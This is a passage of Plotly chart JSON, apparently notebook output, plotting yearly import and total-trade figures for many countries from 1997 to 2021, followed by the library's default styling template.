718.88, - 644.26, - 517.97, - 517.87, - 507.89, - 539.25, - 669.54, - 258.84, - 299.42, - 393.12, - 455.6 - ] - }, - { - "mode": "lines", - "name": "DENMARK", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 90.76, - 99.7, - 135.42, - 142.5, - 120.61, - 143.36, - 225.6, - 270.22, - 515.94, - 339.7, - 464.54, - 477.45, - 592.37, - 472.82, - 614.29, - 541.71, - 445.1, - 457.95, - 428.54, - 481.55, - 564.55, - 537.3, - 632.4, - 589.13, - 495.65 - ] - }, - { - "mode": "lines", - "name": "DJIBOUTI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.15, - 0.02, - 0.22, - 0.45, - 0.74, - 0.82, - 1.19, - 3.12, - 3.35, - 2.15, - 4.57, - 3.66, - 1.17, - 2.41, - 2.15, - 5.18, - 4.15, - 1.47, - 1.23, - 2.82, - 5.44, - 15.82, - 19.54, - 20.16, - 30.87 - ] - }, - { - "mode": "lines", - "name": "DOMINIC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.04, - 0.43, - 0.1, - 0, - 0.12, - 1.74, - 2.76, - 5.34, - 1.81, - 2.82, - 10.11, - 9.5, - 15.77, - 6.61, - 10.81, - 12.5, - 290.66, - 478.62, - 674.86, - 645.81, - 566.57, - 361.11, - 256.94, - 502.99 - ] - }, - { - "mode": "lines", - "name": "DOMINICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0, - 0, - 4.67, - 0.07, - 0.01, - 0.11, - 0.34, - 0.17, - 0.38, - 1.07, - 0.61, - 0.48, - 0.34, - 0.26, - 1.58, - 0.07, - 0.1, - 0.1, - 0.77, - 0.28, - 0.31, - 0.25, - 0.25, - 0.19 - ] - }, - { - "mode": "lines", - "name": "BULGARIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.59, - 2.17, - 38.53, - 13.05, - 16.14, - 8.45, - 11.14, - 17.96, - 24.06, - 77.15, - 121.06, - 61.14, - 32.63, - 57.58, - 101.12, - 90.09, - 93.65, - 103.66, - 93.72, - 182.22, - 141.94, - 125.66, - 144.06, - 125.38, - 105 - ] - }, - { - "mode": "lines", - "name": "BRUNEI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.05, - 0.11, - 0.15, - 0.36, - 0.32, - 0.34, - 0.54, - 0.88, - 285.38, - 227.24, - 397.52, - 428.65, - 234.17, - 605.02, - 814.8, - 763.6, - 840.88, - 554.02, - 627.85, - 434.83, - 591.1, - 586.28, - 329.25, - 329 - ] - }, - { - "mode": "lines", - "name": "BRAZIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 199.21, - 195.81, - 330.89, - 145.17, - 308.17, - 316.79, - 313.52, - 792.4, - 893.06, - 992.35, - 949.95, - 1185.96, - 3437.97, - 3548.88, - 4271.47, - 4825.76, - 3720.94, - 5400.91, - 4040.09, - 4114.69, - 5498.22, - 4406.43, - 3074.97, - 3015.99, - 4200.9 - ] - }, - { - "mode": "lines", - "name": "BR VIRGN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.09, - 0, - 0, - 0.19, - 19.38, - 0.17, - 0.33, - 0.17, - 0.87, - 0.42, - 0.97, - 0.16, - 0.82, - 1.55, - 6.72, - 0.88, - 16.83, - 8.57, - 11.03, - 13.83 - ] - }, - { - "mode": "lines", - "name": "ALGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.58, - 0.47, - 17.06, - 2.6, - 1.41, - 1.11, - 4.47, - 6.31, - 14.65, - 755.46, - 1238.95, - 1052.57, - 995.32, - 1816.19, - 2111.43, - 683.55, - 860.9, - 551.82, - 299.44, - 605.12, - 1260.98, - 1696.96, - 1996.76, - 408.79, - 545.1 - ] - }, - { - "mode": "lines", - "name": "AMERI SAMOA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 0, - 0, - 0, - 0, - 0.42, - 0, - 0.05, - 0.29, - 83.73, - 1.13, - 0.24, - 0.35, - 0.15, - 1.41, - 0.78, - 0.13, - 0.67, - 1.13, - 0.14, - 0.3, - 0, - 3.08, - 0.96, - 0 - ] - }, - { - "mode": "lines", - "name": "ANDORRA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.07, - 0, - 0, - 0, - 0, - 0, - 0.02, - 0, - 0.03, - 0.01, - 0.09, - 0, - 0.01, - 0.03, - 0.01, - 0, - 5.28, - 0, - 0.09, - 0, - 0.04, - 0.03, - 0.01, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGOLA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.01, - 7.2, - 0, - 0.91, - 3.25, - 244.71, - 1024.74, - 1386.25, - 4242.79, - 5112.12, - 6625.07, - 7157.54, - 5992.31, - 4617.64, - 2766.81, - 2596.49, - 4323.85, - 4027.49, - 3649.02, - 1879.74, - 1729.5 - ] - }, - { - "mode": "lines", - "name": "ANTIGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.01, - 0, - 0, - 0.46, - 0.01, - 0.12, - 1.14, - 0.06, - 0.07, - 0.01, - 15.63, - 0.06, - 0.23, - 0.04, - 0.49, - 0.01, - 0, - 0.02, - 0.15, - 0.2, - 0.14, - 0.13 - ] - }, - { - "mode": "lines", - "name": "ARGENTINA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 128.19, - 339.29, - 347.47, - 380.76, - 436, - 404.14, - 523.96, - 539.59, - 754.04, - 876, - 906.84, - 499.07, - 672.21, - 1022.73, - 1105.55, - 1198.71, - 1338.35, - 1992.25, - 2471.52, - 2500.75, - 2229.2, - 1954.99, - 2327.26, - 2627.05, - 3319.92 - ] - }, - { - "mode": "lines", - "name": "ARMENIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.02, - 0, - 0.56, - 0.45, - 0.16, - 0.66, - 0.78, - 2.08, - 77.06, - 3.79, - 2.78, - 2.96, - 7.07, - 6.16, - 1.48, - 1.7, - 0.82, - 14.04, - 1.05, - 0.65, - 0.91, - 1.56, - 96.46, - 100.55 - ] - }, - { - "mode": "lines", - "name": "AUSTRALIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1485.56, - 1445.01, - 1081.76, - 1062.76, - 1306.1, - 1336.79, - 2649.22, - 3824.53, - 4947.91, - 6999.59, - 7815.32, - 11098.07, - 12407.37, - 10789, - 15578.52, - 13085.7, - 9822.52, - 10247.24, - 8898.78, - 11154.48, - 13993.75, - 13131.21, - 9782.22, - 8247.3, - 12106.69 - ] - }, - { - "mode": "lines", - "name": "AUSTRIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 81.13, - 59.64, - 66.59, - 69.32, - 77.82, - 164.21, - 201.67, - 262.34, - 344.02, - 456.84, - 585.94, - 701.64, - 789.37, - 817.07, - 1081.12, - 929.22, - 828.77, - 815.92, - 827.11, - 908.34, - 973.33, - 716.43, - 629.74, - 623.1, - 598.22 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0.19, - 0, - 0, - 0, - 0, - 0, - 0.68, - 0.42, - 60.41, - 160.18, - 0.7, - 2.25, - 0.31, - 0.98, - 0.39, - 3.16, - 6.75, - 0, - 4.76, - 10.48, - 4.61, - 8.02, - 90.77, - 5.24 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "CAYMAN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.19, - 0, - 0, - 0, - 0, - 0, - 0.68, - 0.42, - 60.41, - 160.18, - 0.7, - 2.25, - 0.31, - 0.98, - 0.39, - 3.16, - 6.75, - 0, - 4.76, - 10.48, - 4.61, - 8.02, - 90.77, - 5.24 - ] - }, - { - "mode": "lines", - "name": "CHAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 3.01, - 6.07, - 5.08, - 4.28, - 28.47, - 13.99, - 20.32, - 13.84, - 12.57, - 79.82, - 203.57, - 44.28, - 103.46, - 364.37, - 207.88, - 176.75, - 513.59, - 329.44, - 109.23, - 39.7 - ] - }, - { - "mode": "lines", - "name": "CHILE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 192.61, - 124.34, - 154.09, - 165.59, - 178.04, - 239.44, - 239.75, - 456.78, - 586.65, - 2300.7, - 2087.41, - 1897.37, - 1396.7, - 2057.8, - 2655.35, - 3682.31, - 3171.81, - 3646.45, - 2639.99, - 1900.67, - 2855.71, - 2227.35, - 1969.1, - 1475.6, - 2006.58 - ] - }, - { - "mode": "lines", - "name": "CHINA P RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1830, - 1523.87, - 1821.93, - 2333.5, - 2988.34, - 4767.52, - 7008.29, - 12713.86, - 17627.15, - 25796.89, - 38017.74, - 41850.52, - 42441.9, - 57648.62, - 73390.13, - 65783.21, - 65858.98, - 72347.42, - 70719.31, - 71454.93, - 89714.23, - 87071.84, - 81873.5, - 86399.4, - 84751.67 - ] - }, - { - "mode": "lines", - "name": "COMOROS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.21, - 1.53, - 0, - 0, - 3.26, - 6.71, - 2.43, - 2.59, - 8.98, - 22.78, - 11.82, - 25.86, - 9.97, - 17.17, - 13.94, - 28.75, - 20.29, - 29.05, - 32.1, - 46.43, - 66.89, - 51.68, - 38.52, - 30.74, - 26.89 - ] - }, - { - "mode": "lines", - "name": "EGYPT A RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 446.01, - 462.73, - 680.56, - 396.27, - 562.67, - 524.81, - 465.69, - 597.38, - 892.87, - 2502.82, - 3384.34, - 3821.2, - 3096.23, - 3336.98, - 5424.29, - 5450.8, - 4951.11, - 4767.36, - 3558.88, - 3231.12, - 3685.27, - 4564.22, - 4535.61, - 4156.77, - 5114.65 - ] - }, - { - "mode": "lines", - "name": "CONGO D. REP.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 54.29, - 13.66, - 5.13, - 4.73, - 3.75, - 4.32, - 11.24, - 5.36, - 16.24, - 18.16, - 18.02, - 132.32, - 154.83, - 16.5, - 7.79, - 0, - 228.75, - 380.61, - 415.38, - 285.1, - 450.5, - 321.96, - 384.9, - 440.49, - 429.43 - ] - }, - { - "mode": "lines", - "name": "CONGO P REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 16.68, - 29, - 23.33, - 47.89, - 40.24, - 56.62, - 66.54, - 115.23, - 155.56, - 196.22, - 255.92, - 697.09, - 741.4, - 785.21, - 604.88, - 653.84, - 299.85, - 618.42, - 368.3, - 292.34, - 315.49, - 538.53, - 700.42, - 355.78, - 870.05 - ] - }, - { - "mode": "lines", - "name": "COSTA RICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.13, - 3.32, - 3.52, - 7.72, - 9.14, - 15.84, - 46.13, - 51.94, - 53.92, - 64.45, - 119.7, - 107.22, - 125.85, - 156.79, - 269.7, - 294, - 285.07, - 251.13, - 196.97, - 218.15, - 200.85, - 186.71, - 175.33, - 161.13, - 161.05 - ] - }, - { - "mode": "lines", - "name": "COTE D' IVOIRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 64.89, - 104.19, - 131.96, - 169.02, - 129.08, - 134.96, - 197.88, - 261.11, - 300.06, - 321.12, - 456.48, - 416.42, - 420.5, - 344.99, - 748.86, - 780.2, - 597.35, - 841.85, - 969.75, - 874.47, - 953.45, - 1051.69, - 869.55, - 903.47, - 829.79 - ] - }, - { - "mode": "lines", - "name": "CUBA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - 